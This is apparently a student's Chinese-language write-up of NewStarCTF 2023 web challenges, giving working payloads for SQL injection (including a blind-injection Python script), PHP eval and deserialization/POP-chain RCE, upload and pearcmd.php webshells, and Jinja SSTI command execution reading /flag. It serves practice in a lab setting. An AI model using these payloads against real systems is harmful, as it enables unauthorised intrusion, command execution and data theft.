目录
week1
泄漏的秘密
Begin of Upload
Begin of HTTP
ErrorFlask
Begin of PHP
R!C!E!
EasyLogin
week2
游戏高手
include 0。0
ez_sql
Unserialize?
Upload again!
R!!C!!E!!
week3
Include 🍐
medium_sql
POP Gadget
GenShin
week4
逃
week1
泄漏的秘密
访问 /robots.txt 可以得到 flag{r0bots_1s_s0_us3ful
访问 /www..zip 下载文件,有两个文件,放了flag
(目录扫描)
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
Begin of Upload
后缀名可以是php,比较简单,|
蚁剑连一下
flag{c31619ad-76d9-4bab-85c3-65675a57171a}
Begin of HTTP
先是需要get传参,然后post传参
post 传参的值查看源代码,base64解密
?ctf=1
secret=n3wst4rCTF2023g00000d
然后就是
最后本地用户感觉有点问题
要用 X-Real-IP: 127.0.0.1
ErrorFlask
随便传一些东西,会报错,flag就藏在里面
Begin of PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
?key1[]=1&key2[]=2&key4[]=1&key5=2024a
post : key3[]=1&flag5= ^
flag{4ffc2cc7-f66a-42cb-9655-7d9e49b55945}
主要是最后一步,本来以为是整个post传参的值不能出现字母和数字,但好像只是 flag5不能出现字母和数字,直接给flag5 赋值一个特殊的字符
也还可以通过数组绕过,flag5[]= (空格) (虽然我也不晓得为什么这又可以通过数组绕)
(代码中不存在 $flag5 这个变量,但是有extract() )
R!C!E!
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
114514 md5 加密后前六位为c4d038
e_v.a.1 要写成 e[v.a.1
php的一个特性,"["会被解析成“_”,并且在“[”之后不规范的字符都不会再被转化,
password=114514&e[v.a.l=eval($_POST[1]);&1=system('cat /flag');
flag{d6972660-584b-4eea-bc8e-2a958fe53e8c}
EasyLogin
随便输入密码抓包,发现对密码进行了加密,是MD5加密
注册再登进去有点莫名其妙,可以看到有个 111 是注册的用户名,
可能会存在admin用户名,但不知道密码,进行爆破
爆破出密码为 000000
登进去好像还是啥也没有
看了其他人的wp应该是抓包 在history中有个302重定向的包。在发送到repeater ,就可以得到flag
但是我用admin 和 000000 再重新抓包的时候查看history没有发现 302的包,有点奇怪
应该是环境的问题吧,别人的flag是在这个文件下发现的,但是我这里却是404,不晓得为啥
week2
游戏高手
游戏通关不了了,太难了
在控制台输入分数,继续返回到之前的页面玩游戏,可以发现分数变了,游戏结束就可以得到flag
include 0。0
过滤了两种过滤器,还有好多种过滤器,随便用一种
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
ez_sql
sql注入类型的
进过测试,发现 or select 等一些东西都被过滤了,
但是没过滤大写,可以通过大小写绕过
可以测出有5列, 万能密码试一下
查表名
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() %23
查列名
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='here_is_flag' %23
查数据
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(flag) FROM here_is_flag %23
Unserialize?
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
POST: unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}
(列一下目录,注意$cmd 前面是 private)
虽然过滤了一些读取文件的命令,但还是有好多,尝试一些其他的
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
Upload again!
先随便上传文件,然后bp抓包 ,
进过尝试可以发现 .htaccess可以上传
写入内容: AddType application/x-httpd-php .png 可以上传成功
然后上传 1.png
但是 过滤了<? 需要绕过
<script language='php'>@eval($_POST[1])</script> 也可以上传成功
明明是上传成功了,但访问不了,总是报错,蚁剑也连不上
试了一下别人成功的方法,也是报错,感觉应该是环境的问题
R!!C!!E!!
提示有信息泄露,dirsearch扫描一下
使用工具:GitHack
在文件中下载了3个文件
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
#!/bin/bash
echo "$FLAG" > /flag && \
export FLAG=not && FLAG=not && \
service apache2 restart && \
tail -f /dev/null
(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))
这行代码表明需要进行 无参数RCE
getallheaders():获取所有 HTTP 请求标头,但是该函数只能在Apache环境下使用
array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL
array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。
?star=print_r(getallheaders());
然后bp抓包添加请求头
flag: system("ls /");
再用array_flip 和array_rand 得到system("ls /");
包裹上 eval ,执行命令
?star=eval(array_rand(array_flip(getallheaders())));
多尝试几遍,发现执行了命令
week3
Include 🍐
之前写过,利用pearcmd.php
直接传参:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php
到/tmp/shell.php文件下进行 rce
文件包含题(进阶)-CSDN博客
medium_sql
万能密码尝试一下
刚开始试着的时候,一直没发现竟然是布尔盲注,我说怎么一直没有回显,一直检查是不是哪里语法有问题
需要写脚本,虽然我写的脚本很low,但也勉强能运行
import time
import requests
dic='1234_567890{}qwer-tyuiopasdfghjklzxcvbnm'
url='http://74efb8e1-f799-4d94-b4aa-a73f536b2dad.node5.buuoj.cn:81/'
# payload="?id=TMP0919' And if((oRd(suBstr((SELECT TABLE_NAME FroM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1,1),{0},1)))={1},1,0)%23"
# 改一下limit 第一张表为:grades 第二张表为 here_is_flag
# payload="?id=TMP0919' And if((oRd(suBstr((SELECT ColuMN_NAME FroM INFORMATION_SCHEMA.COlumnS WHERE TABLE_naMe='here_is_flag' LIMIT 0,1),{0},1)))={1},1,0)%23"
# 列名为 flag
payload="?id=TMP0919' And if((oRd(suBstr((SELECT flag FroM here_is_flag LIMIT 0,1),{0},1)))={1},1,0)%23"
flag=''
column_name=''
tb_name=''
URL=url+payload
for i in range(1,60):
for j in dic:
res=requests.get(url=URL.format(i,ord(j)))
# print(res.text)
if 'TMP0919' in res.text:
# tb_name+=j
# column_name+=j
flag+=j
print(j)
break
# print("表名为:{}".format(tb_name))
# print("列名为:{}".format(column_name))
print("flag为:{}".format(flag))
# 第一次设的长度太短了,还有一部分没跑出来,有点无语 flag{55d9507f-1ee9-44d8-8cb6-62fd080faa
# flag{55d9507f-1ee9-44d8-8cb6-62fd080faa15}
POP Gadget
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
pop链:
Begin __destruct->Then __toString ->Supei __invoke-> Handle __call ->CTF __end()
->Whitegod __unset
$a=new Begin();
$a->name=new Then();
$a->name->func=new Super();
$a->name->func->obj=new Handle();
$a->name->func->obj->obj=new CTF();
$a->name->func->obj->obj->handle=new WhiteGod();
$a->name->func->obj->obj->handle->func='system';
$a->name->func->obj->obj->handle->var='ls /';
echo urlencode(serialize($a));
pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}}Hello
pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}
GenShin
抓包,可以看到有目录信息
访问到页面
尝试传参试试 ?name=admin
?name={%print("".__class__)%} 存在ssti注入
?name={%print("".__class__.__base__.__subclasses__())%}
找能够利用的函数
?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__)%}
参考:[wp]NewStarCTF 2023 WEEK3|WEB-CSDN博客
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}
这个也可以,之前一直试的这个,一直不能成功,突然又可以了,可能之前哪里格式错了
?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__["po""pen"]("ls /").read())%}
week4
逃
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data flag{6edd79e9-fec6-4a7b-8523-3a403dd91a0e}
字符串逃逸,每次bad -> good 就可以逃逸出一个字符
cmd=whoami,无法改变,需要自己造一个cmd,进行反序列化
";s:3:"cmd";s:4:"ls /";} 共有24个字符,所以需要逃逸24个
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}